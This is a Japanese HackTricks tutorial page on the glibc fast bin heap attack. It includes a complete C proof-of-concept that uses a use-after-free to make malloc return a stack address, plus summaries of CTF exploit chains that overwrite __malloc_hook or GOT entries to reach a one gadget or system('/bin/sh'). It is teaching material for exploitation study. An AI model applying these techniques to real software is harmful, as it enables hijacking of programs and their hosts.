Fast Bin Attack

HackTricksのサポート

基本情報

ファストビンについての詳細は、次のページを参照してください:

Bins & Memory Allocations

ファストビンは単方向リンクリストであるため、他のビンよりも保護が少なく、解放されたファストビンチャンク内のアドレスを変更するだけで後で任意のメモリアドレスにチャンクを割り当てることができます。

要約すると:

ptr0 = malloc(0x20);
ptr1 = malloc(0x20);

// Put them in fast bin (suppose tcache is full)
free(ptr0)
free(ptr1)

// Use-after-free
// Modify the address where the free chunk of ptr1 is pointing
*ptr1 = (unsigned long)((char *)&<address>);

ptr2 = malloc(0x20); // This will get ptr1
ptr3 = malloc(0x20); // This will get a chunk in the <address> which could be abuse to overwrite arbitrary content inside of it

詳しいコードの完全な例は、https://guyinatuxedo.github.io/28-fastbin_attack/explanation_fastbinAttack/index.html から見つけることができます。

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main(void)
{
puts("Today we will be discussing a fastbin attack.");
puts("There are 10 fastbins, which act as linked lists (they're separated by size).");
puts("When a chunk is freed within a certain size range, it is added to one of the fastbin linked lists.");
puts("Then when a chunk is allocated of a similar size, it grabs chunks from the corresponding fastbin (if there are chunks in it).");
puts("(think sizes 0x10-0x60 for fastbins, but that can change depending on some settings)");
puts("\nThis attack will essentially attack the fastbin by using a bug to edit the linked list to point to a fake chunk we want to allocate.");
puts("Pointers in this linked list are allocated when we allocate a chunk of the size that corresponds to the fastbin.");
puts("So we will just allocate chunks from the fastbin after we edit a pointer to point to our fake chunk, to get malloc to return a pointer to our fake chunk.\n");
puts("So the tl;dr objective of a fastbin attack is to allocate a chunk to a memory region of our choosing.\n");

puts("Let's start, we will allocate three chunks of size 0x30\n");
unsigned long *ptr0, *ptr1, *ptr2;

ptr0 = malloc(0x30);
ptr1 = malloc(0x30);
ptr2 = malloc(0x30);

printf("Chunk 0: %p\n", ptr0);
printf("Chunk 1: %p\n", ptr1);
printf("Chunk 2: %p\n\n", ptr2);


printf("Next we will make an integer variable on the stack. Our goal will be to allocate a chunk to this variable (because why not).\n");

int stackVar = 0x55;

printf("Integer: %x\t @: %p\n\n", stackVar, &stackVar);

printf("Proceeding that I'm going to write just some data to the three heap chunks\n");

char *data0 = "00000000";
char *data1 = "11111111";
char *data2 = "22222222";

memcpy(ptr0, data0, 0x8);
memcpy(ptr1, data1, 0x8);
memcpy(ptr2, data2, 0x8);

printf("We can see the data that is held in these chunks. This data will get overwritten when they get added to the fastbin.\n");

printf("Chunk 0: %s\n", (char *)ptr0);
printf("Chunk 1: %s\n", (char *)ptr1);
printf("Chunk 2: %s\n\n", (char *)ptr2);

printf("Next we are going to free all three pointers. This will add all of them to the fastbin linked list. We can see that they hold pointers to chunks that will be allocated.\n");

free(ptr0);
free(ptr1);
free(ptr2);

printf("Chunk0 @ 0x%p\t contains: %lx\n", ptr0, *ptr0);
printf("Chunk1 @ 0x%p\t contains: %lx\n", ptr1, *ptr1);
printf("Chunk2 @ 0x%p\t contains: %lx\n\n", ptr2, *ptr2);

printf("So we can see that the top two entries in the fastbin (the last two chunks we freed) contains pointers to the next chunk in the fastbin. The last chunk in there contains `0x0` as the next pointer to indicate the end of the linked list.\n\n");


printf("Now we will edit a freed chunk (specifically the second chunk \"Chunk 1\"). We will be doing it with a use after free, since after we freed it we didn't get rid of the pointer.\n");
printf("We will edit it so the next pointer points to the address of the stack integer variable we talked about earlier. This way when we allocate this chunk, it will put our fake chunk (which points to the stack integer) on top of the free list.\n\n");

*ptr1 = (unsigned long)((char *)&stackVar);

printf("We can see it's new value of Chunk1 @ %p\t hold: 0x%lx\n\n", ptr1, *ptr1);


printf("Now we will allocate three new chunks. The first one will pretty much be a normal chunk. The second one is the chunk which the next pointer we overwrote with the pointer to the stack variable.\n");
printf("When we allocate that chunk, our fake chunk will be at the top of the fastbin. Then we can just allocate one more chunk from that fastbin to get malloc to return a pointer to the stack variable.\n\n");

unsigned long *ptr3, *ptr4, *ptr5;

ptr3 = malloc(0x30);
ptr4 = malloc(0x30);
ptr5 = malloc(0x30);

printf("Chunk 3: %p\n", ptr3);
printf("Chunk 4: %p\n", ptr4);
printf("Chunk 5: %p\t Contains: 0x%x\n", ptr5, (int)*ptr5);

printf("\n\nJust like that, we executed a fastbin attack to allocate an address to a stack variable using malloc!\n");
}

もしグローバル変数 global_max_fast の値を大きな数値で上書きできる場合、これによりより大きなサイズの fast bin チャンクを生成することが可能となり、以前は不可能だったシナリオで fast bin アタックを実行できるようになります。この状況は、large bin attack および unsorted bin attack のコンテキストで有用です。

  • チャンクを割り当て、解放し、その内容を読み取り、溢れた脆弱性でそれらを埋めることが可能です。

  • 情報リークのためのチャンクの統合: このテクニックは、オーバーフローを悪用して偽の prev_size を作成し、以前のチャンクを大きなチャンクの中に配置することで、別のチャンクを含む大きなチャンクを割り当てる際に、そのデータを印刷し、libc (main_arena+88) のアドレスをリークさせることが可能です。

  • malloc フックの上書き: これにより、前述の重複状況を悪用することで、同じメモリを指す 2 つのチャンクを持つことが可能でした。したがって、それらを両方解放し(保護を回避するために間に別のチャンクを解放)、同じチャンクを fast bin に 2 回持つことが可能でした。その後、再度それを割り当て、次のチャンクのアドレスを __malloc_hook の直前を指すように上書きし(malloc が空きサイズとして考える整数を指すようにするための別のバイパス)、再度それを割り当て、その後 malloc フックにアドレスを受け取る別のチャンクを割り当てることが可能でした。最後に one gadget がそこに書き込まれました。

  • ヒープオーバーフローと使用後の解放、およびダブルフリーがあります。チャンクが解放されると、ポインターを再利用して再度解放することが可能です。

  • Libc 情報リーク: いくつかのチャンクを解放すると、メインアリーナの一部の場所を指すポインターを取得します。解放されたポインターを再利用できるため、このアドレスを読み取ることができます。

  • Fast bin attack: 割り当てられたポインターはすべて配列内に格納されているため、いくつかの fast bin チャンクを解放し、最後のチャンクでアドレスを上書きしてこのポインター配列の直前を指すようにします。その後、同じサイズのいくつかのチャンクを割り当てると、最初に正規のチャンクが取得され、その後、配列のポインターを含む偽のチャンクが取得されます。これにより、この割り当てポインターを上書きして、free の GOT アドレスを system を指すように設定し、次にチャンク 1 に "/bin/sh" を書き込んで free(chunk1) を呼び出すと、代わりに system("/bin/sh") が実行されます。

  • 1 バイトのオーバーフローを悪用して unsorted bin のチャンクを統合し、libc 情報リークを取得し、その後 fast bin attack を実行して malloc フックを one gadget アドレスで上書きする例です。

  • UAF を悪用して unsorted bin をリークして libc アドレスと PIE アドレスを取得した後、この CTF のエクスプロイトでは、制御されたチャンクへのポインターが存在する場所にチャンクを割り当てるため、特定のポインターを上書きして GOT に one gadget を書き込むことが可能でした。

  • Unsorted bin attack を介して悪用された Fast Bin attack を見つけることができます:

  • Fast bin attack を実行する前に、必要に応じて free リストを悪用して libc/heap アドレスをリークすることが一般的です。

  • サイズが 0x100 より大きいチャンクのみを割り当てることができます。

  • ASLR のために 1/16 回しか機能しない Unsorted Bin attack を使用して global_max_fast を上書きします(12 ビットを変更する必要があるため、16 ビットを変更する必要があります)。

  • Global チャンクの配列を変更するための Fast Bin attack。これにより、任意の読み取り/書き込み原始が提供され、GOT を変更していくつかの関数を system を指すように設定することが可能となります。

Unsorted Bin Attack
HackTricks のサポート

Last updated